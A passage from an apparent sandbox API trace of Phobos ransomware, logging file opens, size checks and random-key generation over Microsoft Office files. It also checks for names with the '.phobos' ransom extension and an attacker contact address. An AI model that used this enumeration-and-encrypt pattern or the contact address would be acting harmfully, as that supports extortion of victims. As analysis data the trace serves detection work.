office\\root\\licenses16\\visiostdo365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.863] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.863] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11624) returned 1 [0153.863] CloseHandle (hObject=0x57c) returned 1 [0153.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.866] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.867] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20777) returned 1 [0153.867] CloseHandle (hObject=0x570) returned 1 [0153.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ppd.xrm-ms")) returned 0x220 [0153.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.868] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.869] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11601) returned 1 [0153.869] CloseHandle (hObject=0x570) returned 1 [0153.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.018] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.072] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10647) returned 1 [0154.072] CloseHandle (hObject=0x584) returned 1 [0154.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-pl.xrm-ms")) returned 0x220 [0154.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.072] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.077] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=60480) returned 1 [0154.077] CloseHandle (hObject=0x584) returned 1 [0154.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems32.dll")) returned 0x220 [0154.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.077] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.078] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=84648) returned 1 [0154.078] CloseHandle (hObject=0x584) returned 1 [0154.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems64.dll")) returned 0x220 [0154.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\appvisvsubsystems64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.079] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.137] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=148586) returned 1 [0154.137] CloseHandle (hObject=0x584) returned 1 [0154.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml")) returned 0x220 [0154.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.138] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\branding.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\branding.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.244] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=450868) returned 1 [0154.244] CloseHandle (hObject=0x58c) returned 1 [0154.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\branding.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\branding.mcxml")) returned 0x220 [0154.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\branding.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\branding.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\branding.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\branding.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.253] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=43958) returned 1 [0154.253] CloseHandle (hObject=0x58c) returned 1 [0154.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml")) returned 0x220 [0154.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.254] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.260] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=25916) returned 1 [0154.260] CloseHandle (hObject=0x58c) returned 1 [0154.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml")) returned 0x220 [0154.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.276] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_AppXManifestLoc.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_appxmanifestloc.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.281] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=472) returned 1 [0154.281] CloseHandle (hObject=0x58c) returned 1 [0154.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_AppXManifestLoc.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_appxmanifestloc.mcxml")) returned 0x220 [0154.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_AppXManifestLoc.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_appxmanifestloc.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_AppXManifestLoc.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_appxmanifestloc.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.284] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.290] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16258) returned 1 [0154.290] CloseHandle (hObject=0x58c) returned 1 [0154.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml")) returned 0x220 [0154.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.292] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19630) returned 1 [0154.292] CloseHandle (hObject=0x58c) returned 1 [0154.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml")) returned 0x220 [0154.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.292] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.293] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=37898) returned 1 [0154.293] CloseHandle (hObject=0x58c) returned 1 [0154.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml")) returned 0x220 [0154.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.294] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.294] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=76686) returned 1 [0154.294] CloseHandle (hObject=0x58c) returned 1 [0154.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml")) returned 0x220 [0154.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 